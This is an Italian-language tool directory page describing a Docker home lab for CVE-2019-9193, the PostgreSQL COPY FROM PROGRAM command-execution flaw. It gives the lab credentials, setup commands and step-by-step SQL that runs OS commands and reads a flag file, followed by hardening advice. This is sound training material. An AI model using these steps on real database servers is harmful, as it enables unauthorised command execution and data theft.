Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-9193-Home-Lab — Questo laboratorio simula CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE | Kitploit
Strumenti/GitHubGitHub/netw0rk7/cve-2019-9193-home-lab
Analisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubnetw0rk7/cve-2019-9193-home-lab

CVE-2019-9193-Home-Lab

Questo laboratorio simula CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE

Vedi Repository
8 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

Questo lab simula CVE-2019-9193, una vulnerabilità di PostgreSQL 9.3–11.2 che consente di:

root@kitploit:~
COPY ... FROM PROGRAM '<comando>'

di eseguire comandi OS se eseguita da un superuser o da un ruolo con pg_execute_server_program.

Il tuo compito è sfruttare questa funzionalità per leggere:

root@kitploit:~
/tmp/flag.txt

Obiettivo

  1. Connettiti a PostgreSQL:
    • User: postgres
    • Password: sentinel7
    • Porta host: 5433
  2. Usa COPY FROM PROGRAM per:
    • Eseguire comandi OS
    • Recuperare la flag

Per Iniziare

root@kitploit:~
docker compose build
docker compose up -d

Connettiti tramite:

root@kitploit:~
psql -U postgres -h 127.0.0.1 -p 5433

Sfruttamento

1) Crea la tabella

root@kitploit:~
CREATE TABLE cmd_exec(cmd_output text);

2) Testa l'RCE

root@kitploit:~
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) Leggi la flag

root@kitploit:~
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

Note di Sicurezza

  • Non eseguire mai applicazioni usando il superuser di PostgreSQL
  • Non concedere pg_execute_server_program inutilmente
  • Disabilita o limita COPY PROGRAM
  • Proteggi le applicazioni contro SQL injection
Scarica lo strumento